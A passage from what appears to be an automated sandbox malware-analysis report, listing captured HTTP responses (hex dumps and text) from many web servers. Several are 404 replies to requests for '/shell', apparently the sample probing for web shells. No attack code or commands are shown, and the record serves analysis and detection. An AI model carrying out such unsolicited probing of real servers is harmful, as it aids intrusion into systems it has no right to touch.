7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:25 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 203Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:25 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:26 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:26 GMTServer: Apache/2.2.9 (Debian) mod_jk/1.2.26 PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0Vary: Accept-EncodingContent-Length: 417Keep-Alive: timeout=15, max=170Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 39 20 28 44 65 62 69 61 6e 29 20 6d 6f 64 5f 6a 6b 2f 31 2e 32 2e 32 36 20 50 48 50 2f 35 2e 32 2e 36 2d 31 2b 6c 65 6e 6e 79 31 36 20 77 69 74 68 20 53 75 68 6f 73 69 6e 2d 50 61 74 63 68 20 6d 6f 64 5f 70 79 74 68 6f 6e 2f 33 2e 33 2e 31 20 50 79 74 68 6f 6e 2f 32 2e 35 2e 32 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 2e 39 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e 38 67 20 6d 6f 64 5f 70 65 72 6c 2f 32 2e 30 2e 34 20 50 65 72 6c 2f 76 35 2e 31 30 2e 30 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.9 (Debian) mod_jk/1.2.26 PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_python/3.3.1 Python/2.5.2 mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0 Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:26 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Web serverDate: Sun, 14 Apr 2024 02:00:15 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveX-Detail: 0x1210, insufficient security levelData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Web server</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: ZTE web server 1.0 ZTE corp 2015.Accept-Ranges: bytesConnection: closeX-Frame-Options: SAMEORIGINContent-Type: text/html; charset=iso-8859-1X-Content-Type-Options: nosniffCache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0a 3c 73 70 61 6e 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 73 70 61 6e 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:27 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:27 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 390Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:27 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:28 GMTServer: Apache/2.4.10 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:28 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:00:29 GMTServer: ApacheContent-Length: 199Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 14 Apr 2024 02:00:30 GMTContent-Type: text/htmlContent-Length: 124Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.12.1Date: Sun, 14 Apr 2024 02:00:30 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.12.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:33 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 13 Apr 2024 21:01:52 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sX-XSS-Protection: 1X-Content-Type-Options: 'nosniff'X-Frame-Options: SAMEORIGINContent-Security-Policy: frame-ancestors 'self';default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline'Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 63 63 39 39 39 39 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 0a 20 20 20 20 3c 68 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 09 09 09 3c 2f 70 72 65 3e 0a 09 09 0a 09 09 09 3c 68 72 3e 0a 09 09 20 20 3c 2f 62 6f 64 